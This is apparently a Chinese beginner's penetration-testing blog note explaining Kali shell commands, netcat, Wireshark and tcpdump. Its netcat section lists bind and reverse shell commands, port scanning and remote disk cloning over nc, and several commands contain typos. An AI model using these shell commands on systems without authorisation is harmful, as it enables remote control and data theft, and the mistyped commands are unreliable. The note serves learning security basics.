渗透初学笔记(一) 基础工具

渗透初学笔记

渗透测试的开始需要对其渗透的流程有着大概的理解,但是更为重要的是对于一些基础的工具的熟练掌握,以下简要介绍了bash、nc、wireshark的基础部分,但是看的再多都不如自己动手操作一下。实践和总结才是最好的老师。


kaili基础bash

  • LS、cd、cat、more、tail、 cp、 rm、top、PS、 grep、 ifconfig、netstat、awk、 sort、 fdisk、mount、dmesg、find、 whereis、Echo、vi
  • 管道
  • Shell 脚本


几种不常用的命令解释:


more: Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。

语法

more [-dlfpcsu] [-num] [+/pattern] [+linenum] [fileNames..]

参数

  • -num 一次显示的行数

  • -d 提示使用者,在画面下方显示 [Press space to continue, ‘q’ to quit.] ,如果使用者按错键,则会显示 [Press ‘h’ for instructions.] 而不是 ‘哔’ 声

  • -l 取消遇见特殊字元 ^L(送纸字元)时会暂停的功能

  • -f 计算行数时,以实际上的行数,而非自动换行过后的行数(有些单行字数太长的会被扩展为两行或两行以上)

  • -p 不以卷动的方式显示每一页,而是先清除萤幕后再显示内容

  • -c 跟 -p 相似,不同的是先显示内容再清除其他旧资料

  • -s 当遇到有连续两行以上的空白行,就代换为一行的空白行

  • -u 不显示下引号 (根据环境变数 TERM 指定的 terminal 而有所不同)

  • +/pattern 在每个文档显示前搜寻该字串(pattern),然后从该字串之后开始显示

  • +num 从第 num 行开始显示

  • fileNames 欲显示内容的文档,可为复数个数



tail: tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。

tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。

命令格式:

tail [参数] [文件]  

参数:

  • -f 循环读取

  • -q 不显示处理信息

  • -v 显示详细的处理信息

  • -c<数目> 显示的字节数

  • -n<行数> 显示文件的尾部 n 行内容

  • –pid=PID 与-f合用,表示在进程ID,PID死掉之后结束

  • -q, --quiet, --silent 从不输出给出文件名的首部

  • -s, --sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒



top: Linux top命令用于实时显示 process 的动态。

使用权限:所有使用者。

语法

top [-] [d delay] [q] [c] [S] [s] [i] [n] [b]

参数说明

  • d : 改变显示的更新速度,或是在交谈式指令列( interactive command)按 s

  • q : 没有任何延迟的显示速度,如果使用者是有 superuser 的权限,则 top 将会以最高的优先序执行

  • c : 切换显示模式,共有两种模式,一是只显示执行档的名称,另一种是显示完整的路径与名称S : 累积模式,会将己完成或消失的子行程 ( dead child process ) 的 CPU time 累积起来

  • s : 安全模式,将交谈式指令取消, 避免潜在的危机

  • i : 不显示任何闲置 (idle) 或无用 (zombie) 的行程

  • n : 更新的次数,完成后将会退出 top

  • b : 批次档模式,搭配 “n” 参数一起使用,可以用来将 top 的结果输出到档案内


ps: Linux ps命令用于显示当前进程 (process) 的状态。

语法

ps [options] [--help]

参数

  • ps 的参数非常多, 在此仅列出几个常用的参数并大略介绍含义

  • -A 列出所有的行程

  • -w 显示加宽可以显示较多的资讯

  • -au 显示较详细的资讯

  • -aux 显示所有包含其他使用者的行程

  • au(x) 输出格式 :

  • USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

  • USER: 行程拥有者

  • PID: pid

  • %CPU: 占用的 CPU 使用率

  • %MEM: 占用的记忆体使用率

  • VSZ: 占用的虚拟记忆体大小

  • RSS: 占用的记忆体大小

  • TTY: 终端的次要装置号码 (minor device number of tty)

  • STAT: 该行程的状态:

  • D: 无法中断的休眠状态 (通常 IO 的进程)

  • R: 正在执行中

  • S: 静止状态

  • T: 暂停执行

  • Z: 不存在但暂时无法消除

  • W: 没有足够的记忆体分页可分配

  • <: 高优先序的行程

  • N: 低优先序的行程

  • L: 有记忆体分页分配并锁在记忆体内 (实时系统或捱A I/O)

  • START: 行程开始时间

  • TIME: 执行的时间

  • COMMAND:所执行的指令



grep: Linux grep 命令用于查找文件里符合条件的字符串。(rgrep用于递归查找)

grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。

语法

grep [-abcEFGhHilLnqrsvVwxy][-A<显示列数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][--help][范本样式][文件或目录...]

参数

  • -a 或 --text : 不要忽略二进制的数据。

  • -A<显示行数> 或 --after-context=<显示行数> : 除了显示符合范本样式的那一列之外,并显示该行之后的内容。

  • -b 或 --byte-offset : 在显示符合样式的那一行之前,标示出该行第一个字符的编号。

  • -B<显示行数> 或 --before-context=<显示行数> : 除了显示符合样式的那一行之外,并显示该行之前的内容。

  • -c 或 --count : 计算符合样式的列数。

  • -C<显示行数> 或 --context=<显示行数>或-<显示行数> : 除了显示符合样式的那一行之外,并显示该行之前后的内容。

  • -d <动作> 或 --directories=<动作> : 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep指令将回报信息并停止动作。

  • -e<范本样式> 或 --regexp=<范本样式> : 指定字符串做为查找文件内容的样式。

  • -E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。

  • -f<规则文件> 或 --file=<规则文件> : 指定规则文件,其内容含有一个或多个规则样式,让grep查找符合规则条件的文件内容,格式为每行一个规则样式。

  • -F 或 --fixed-regexp : 将样式视为固定字符串的列表。

  • -G 或 --basic-regexp : 将样式视为普通的表示法来使用。

  • -h 或 --no-filename : 在显示符合样式的那一行之前,不标示该行所属的文件名称。

  • -H 或 --with-filename : 在显示符合样式的那一行之前,表示该行所属的文件名称。

  • -i 或 --ignore-case : 忽略字符大小写的差别。

  • -l 或 --file-with-matches : 列出文件内容符合指定的样式的文件名称。

  • -L 或 --files-without-match : 列出文件内容不符合指定的样式的文件名称。

  • -n 或 --line-number : 在显示符合样式的那一行之前,标示出该行的列数编号。

  • -o 或 --only-matching : 只显示匹配PATTERN 部分。

  • -q 或 --quiet或–silent : 不显示任何信息。

  • -r 或 --recursive : 此参数的效果和指定"-d recurse"参数相同。

  • -s 或 --no-messages : 不显示错误信息。

  • -v 或 --revert-match : 显示不包含匹配文本的所有行。

  • -V 或 --version : 显示版本信息。

  • -w 或 --word-regexp : 只显示全字符合的列。

  • -x --line-regexp : 只显示全列符合的列。

  • -y : 此参数的效果和指定"-i"参数相同。




awk: 较复杂,需要另外学习才能熟练掌握。




sort:Linux sort命令用于将文本文件内容加以排序。

sort可针对文本文件的内容,以行为单位来排序。

语法

sort [-bcdfimMnr][-o<输出文件>][-t<分隔字符>][+<起始栏位>-<结束栏位>][--help][--verison][文件]

参数说明

  • -b 忽略每行前面开始出的空格字符。

  • -c 检查文件是否已经按照顺序排序。

  • -d 排序时,处理英文字母、数字及空格字符外,忽略其他的字符。

  • -f 排序时,将小写字母视为大写字母。

  • -i 排序时,除了040至176之间的ASCII字符外,忽略其他的字符。

  • -m 将几个排序好的文件进行合并。

  • -M 将前面3个字母依照月份的缩写进行排序。

  • -n 依照数值的大小排序。

  • -u 意味着是唯一的(unique),输出的结果是去完重了的。

  • -o<输出文件> 将排序后的结果存入指定的文件。

  • -r 以相反的顺序来排序。

  • -t<分隔字符> 指定排序时所用的栏位分隔字符。

  • +<起始栏位>-<结束栏位> 以指定的栏位来排序,范围由起始栏位到结束栏位的前一栏位。

  • –help 显示帮助。

  • –version 显示版本信息



Linux dmesg命令用于显示开机信息。

kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。

语法

dmesg [-cn][-s <缓冲区大小>]

参数说明

  • -c  显示信息后,清除ring buffer中的内容。

  • -s<缓冲区大小>  预设置为8196,刚好等于ring buffer的大小。

  • -n  设置记录信息的层级。


基本工具

nc(netcat)

root@kali:~# nc -h
[v1.10-41.1+b1]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. ‘ftp-data’).

这里不会叫大家阅读这些参数来熟悉掌握,只是走个流程QAQ。尽量通过实例去理解能达到事半功倍的效果。

nc使用机作为客户机的时候常使用的命令是n、v。

不建议直接解析域名然后连接,这样比较慢,一般先解析域名(ping)以后直接连接IP端口。


应用

1.nc一个网页IP(如某XX邮箱的地址,以及对应的默认端口)可以实现命令行发送邮件。

=== ====

2.实现两台机子聊天交互(文本传输)。

命令:机一:nc -l -p D

​ 机二:nc -nv IP D

D: 机一打算开放的端口号

IP:机一IP

Sample

上面图片:在window(服务端)上开启监听,在kali上进行连接,就可以直接发送消息传输到对面了。

window端的nc下载

用途:电子取证尽可能减少对取证对象硬盘的修改。

例如:

Sample

接下来还有很多的操作都是利用这个原理进行的,可以将系统的很多信息通过这种方式传输复制出去。

=== ===

  1. 传输(加密)文件/目录

文件

(没用设置路径,接受文件默认在home里)

A: nc lp D> 1.mp4
B: nc -nv IP D< 1.mp4 -q 1

(监听端口作为接受端,接受文件输入为1.mp4文件)


A: nc -q lp D < a.mp4
B: nc -nv IP D > 2.mp4

(监听端口作为输出端,输出文件a.mp4)

传输目录
A: tar -cvf - music/ | nc -lp D -q 1
B: nc-nv IP D| tar -xvf -

加密传文件(nc本身不能加密,借助了小工具mcrypt-额外安装)
A: nc -lp D | mcrypt -flush -Fbqd -a rjndael-256 -m ecb > 1.mp4
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv IP D -q 1

其中D:开启的端口。

=== ===

  1. 流媒体服务

A: cat 1.mp4| nc lp D
B: nc -nv IP D | mplayer -vo x11 cache 3000 -

可以直接播放传递流,本地无需下载保存,直接播放视频

=== ===

  1. 端口扫描

nc -nvz IP D (默认tcp端口)(加u等参数可以扫描其他端口)

D为想扫描IP上的端口范围:如1-65535全端口扫描

=== ===

  1. 远程克隆硬盘

A:nc -Ip 333| dd of=/dev/sda
B:dd if=/dev/sda| nc -nv IP D -q 14

(被删除了信息,可以也可以复制进来,是磁盘硬件【磁道】水平的复制,后继可以进行文件复原操作)
=== ===

  1. 远程控制

正向:
A: nc -lp D -C bash
B: nc IP D
反向:
A:nc -lp D
B: nc IP D -C bash
注: Windows用户把bash改成cmd;


NC-----NCAT
nc缺乏加密和身份验证的能力
ncat包含于nmap工具包中
A: ncat -C bash --allow IP -Vnl D -ssI
B: ncat -nv IP D -ssl

D 端口信息

ssl其中一种加密方式

不同系统/平台的nc参数功能不尽相同



Wireshark

强大的流量分析软件。安全人员必备技能。

wireshark用户全指南

主要是对各个所需协议的熟悉。

例子:数据包解析层:

Frame:物理层的数据帧概况

Ethernet II: 数据链路层以太网头部帧

Internet Protocol Version 4:互联网层IP包头的信息

Transmission Control Protocol:传输层的数据段头部信息,此处是TCP协议。

Hypertext Transfer Protocol:应用层的信息,此处是HTTP协议



以下是简单举例,结合上面分层有个直观的理解。



ARP

有三层结构:物理层、数据链路层(以太网)、ARP数据包

(从上到下按顺序—不一定是协议的分层顺序)

第一层:包含了包的帧数,包的大小等一些基础统计信息。

第二层:进入数据包内容分析。包含目标地址、源地址第二层上面(第三层)是什么协议、栈位字段(Padding)

ARP数据包:开始会有ARP的包头标志。改包会进行mac与IP之间的转化,包含了IP、mac地址的转化信息(type、size、)


SSDP

最为重要的应该算是TCP/IP协议、http等。这些最好都熟悉一下~(可以去wireshark网址下载你所需要学习类型的包)


统计

1.节点数

2.协议分布

3.包大小分布

4.会话连接

5.解码方式

6.专家系统



TCPDUMP

优势:灵活,且linux基本都会默认安装。不需要另外安装。

用法:

  • 默认只抓68个字节(不过不加其他参数)

  • tcpdump -i eth0 -s 0 w file.pcap

  • tcpdump -i eth0 port 22

  • 读取抓包文件:tcpdump -r file.pcap

  • 筛选:(-r:读取 -n:不进行解析,显示IP)

  • tcpdum -r -n xxx.pcap (各种参数)

tcpdump -n -r http.cap| awk {print $3} | sort -U
tcpdump -n srC host 145.254. 160.237 -T http.cap
tcpdump -n dst host 145.254.1 60.237 -r http.cap
tepdump -n port 53 -r http.cap
tcpdump -nX port 80 -r http.cap


以上简要介绍了工具nc、wireshark、tcpdum的基操,接下来的内容是信息侦察和搜集~

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值